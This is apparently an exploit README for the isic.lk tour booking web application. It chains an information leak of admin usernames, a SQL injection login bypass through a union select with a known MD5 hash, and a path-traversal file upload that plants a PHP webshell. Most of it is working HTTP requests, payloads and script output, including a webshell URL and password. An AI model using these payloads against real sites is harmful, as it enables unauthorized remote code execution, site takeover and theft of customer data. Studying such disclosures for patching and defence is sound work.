

isic.lk tour booking website multi vuln (sql/ file upload / info leak) lead to RCE

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README.md

Usage

```
python exp.py http://localhost/isic
```

```
C:\Windows\System32\cmd.exe
```

```
E:\>python exp.py http://localhost/isic
upload success, webshell url : http://localhost/isic/images/test.php
password:own
you could connect this shell with AntSword.
E:\>
```

ISIC RCE details

Multiple vulnerabilities in isic.lk tour booking website (info leak / SQL Injection / file upload) lead to RCE.

First we get website admin username with information disclosure vulnerability, then we use sql to bypass login, and finally we upload a webshell to target's local system.

1.info leak

path: /system/user/modules/mod_users/controller.php

post param: action=view

Request
Pretty Raw Hex

```
1 POST /isic/system/user/modules/mod_users/controller.php
2 HTTP/1.1
3 Host: localhost
4 Content-Length: 11
5 sec-ch-ua: "(Not(A:Brand);v=\"8\", \"Chromium\";v=\"99\"
6 Accept: */*
7 Content-Type: application/x-www-form-urlencoded;
  charset=UTF-8
8 X-Requested-With: XMLHttpRequest
9 sec-ch-ua-mobile: ?0
10 sec-ch-ua-platform: \"Windows\"
11 Origin: http://localhost
12 Sec-Fetch-Site: same-origin
13 Sec-Fetch-Mode: cors
14 Sec-Fetch-Dest: empty
15 Referer: http://localhost/isic/admin/
16 Accept-Encoding: gzip, deflate
17 Accept-Language: zh-CN,zh;q=0.9
18 Cookie: _ga=GA1.1.28742187.1645071448;
19 Connection: close
20 action=view
```

Response
Pretty Raw Hex
View Users
Manage your users

Name	Username	Email	Last Login
ownhp peter	admin	admin@163.com	2022-Apr-02 : 22:30:38
Demo User	demo	asith2u@yahoo.com	
Asith Eranga Abeykoon	asith2u@yahoo.com	asith2u@yahoo.com	2017-Nov-03 : 18:03:47

now we get an account username 'admin'.

2.bypass login

we use sql injection to bypass login and make our PHPSESSION (in cookie) work.

path: /system/user/modules/mod_users/controller.php

post param: action=doLogin&username=admin' union select 1,2,3,4,5,6,'0192023a7bbd73250516f069df18b500',8,9 limit 1,1#&password=admin123

Request

```

1 POST /isic/system/user/modules/mod_users/controller.php
2 HTTP/1.1
3 Host: localhost
4 Content-Length: 123
5 sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
6 Accept: */*
7 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
8 X-Requested-With: XMLHttpRequest
9 Referer: http://localhost/isic/admin/
10 Accept-Encoding: gzip, deflate
11 Accept-Language: zh-CN,zh;q=0.9
12 Cookie: _ga=GA1.1.28742187.1645071448; PHPSESSID=123re03p50qpp4nqt9oqmj6dr2
13 Connection: close
14 action=doLogin&username=admin' union select 1,2,3,4,5,6,'0192023a7bbd73250516f069df18b500',8,9 limit 1,1#&password=admin123

```

Response

```

1 HTTP/1.1 200 OK
2 Date: Sun, 03 Apr 2022 11:19:05 GMT
3 Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
4 X-Powered-By: PHP/7.3.4
5 Expires: Thu, 19 Nov 1981 08:52:00 GMT
6 Cache-Control: no-store, no-cache, must-revalidate
7 Pragma: no-cache
8 Vary: Accept-Encoding
9 Connection: close
10 Content-Type: text/html; charset=UTF-8
11 Content-Length: 61
12
13 {"code": "200", "msg": "Successfully Logged In. Please Wait..."}

```

tips: in file '/system/user/modules/mod_users/helper.php' you will see the login logic like follow code :

```

function selectByUsername() {
    $this->MDatabase->select($this->table_name, "", "username='" . $this->username() . "'", "id DESC");
    return $this->MDatabase->result;
}

```

and '/system/user/modules/mod_users/controller.php':

```

... $data = $users->selectByUsername();
... $users->extractor($data);

... Default_ModManager::loadHelper('user_permission');
... $permission = new Mod_UserPermission();
... $permission->setId($users->userPermission());
... $permission_data = $permission->getById();
... $permission->extractor($permission_data);

... if ($users->password() == md5($password)) {
...     Sessions::setAdminLoginDetails($users->id(), $
...     Sessions::setUserPermission($permission->permi
...     Sessions::setSystemManagerPermission(unseriali
...     ());

```

It means we could not bypass login with something like `username=admin'` and `1=1 -- -`, but we could use 'union select' to set password's md5 with function 'selectByUsername()'. Now we can bypass login based on the number of fields with 'user' table which we actually know, set the value of 'password' to some string's md5 that we know like 'admin123', it will return `{"code": "200", "msg": "Successfully Logged In. Please Wait..."}`.

3.upload webshell

For some reason, you need to make a request with '/system/application/libs/js/tinymce/plugins/filemanager/dialog.php?type=0&editor=mce_0&field_id=selected_file' otherwise the upload will fail. So we send a GET request :

Request

```

1 GET
2 /isic/system/application/libs/js/tinymce/plugins/filemanager
3 /dialog.php?type=0&editor=mce_0&field_id=selected_file
4 HTTP/1.1
5 Host: localhost
6 User-Agent: python-requests/2.26.0
7 Accept-Encoding: gzip, deflate
8 Accept: */*
9 Connection: close
10 Cookie: PHPSESSID=8nng6ildqgghoj8iqg7sai39mo

```

Response

```

1 HTTP/1.1 200 OK
2 Date: Sun, 03 Apr 2022 12:38:47 GMT
3 Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
4 X-Powered-By: PHP/7.3.4
5 Expires: Thu, 19 Nov 1981 08:52:00 GMT
6 Cache-Control: no-store, no-cache, must-revali
7 Pragma: no-cache
8 Vary: Accept-Encoding
9 Connection: close
10 Content-Type: text/html; charset=UTF-8
11 Content-Length: 7306
12
13 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0

```

Now upload webshell.

path: /system/application/libs/js/tinymce/plugins/filemanager/upload.php

SendCancel<>

Request

PrettyRawHex

2 Host: localhost
3 Accept-Encoding: gzip, deflate
4 Accept: */*
5 Connection: close
6 Cookie: PHPSESSID=y7g4viqt65omfcicgpps012i5ku
7 Content-Length: 406
8 Content-Type: multipart/form-data; boundary=077598d8fbc412d0e1a74280176ce8f2
9
10 --077598d8fbc412d0e1a74280176ce8f2
11 Content-Disposition: form-data; name="path"
12
13 ../../../../../../images/
14 --077598d8fbc412d0e1a74280176ce8f2
15 Content-Disposition: form-data; name="path_thumb"
16
17 thumbs/
18 --077598d8fbc412d0e1a74280176ce8f2
19 Content-Disposition: form-data; name="file"; filename="test.php"
20 Content-Type: image/jpeg
21
22 <?php echo md5('bra'); ?>
23 --077598d8fbc412d0e1a74280176ce8f2--
24

Response

PrettyRawHexRender

1 HTTP/1.1 200 OK
2 Date: Sun, 03 Apr 2022 14:09:55 GMT
3 Server: Apache/2.4.39 (Win64)
4 OpenSSL/1.1.1b mod_fcgid/2.3.9a
5 mod_log_rotate/1.02
6 X-Powered-By: PHP/7.3.4
7 Expires: Thu, 19 Nov 1981 08:52:00 GMT
8 Cache-Control: no-store, no-cache, must-revalidate
9 Pragma: no-cache
10 Vary: Accept-Encoding
11 Connection: close
12 Content-Type: text/html;
13 charset=UTF-8
14 Content-Length: 0

check for success:

phpmyadmin.com:4444 / local x localhost/isc/images/test.php x +

<> ↻

localhost/isc/images/test.php

应用

3c6ab8c37ec264689cd0131c7014b99d

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No releases published

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Languages

● Python 100.0%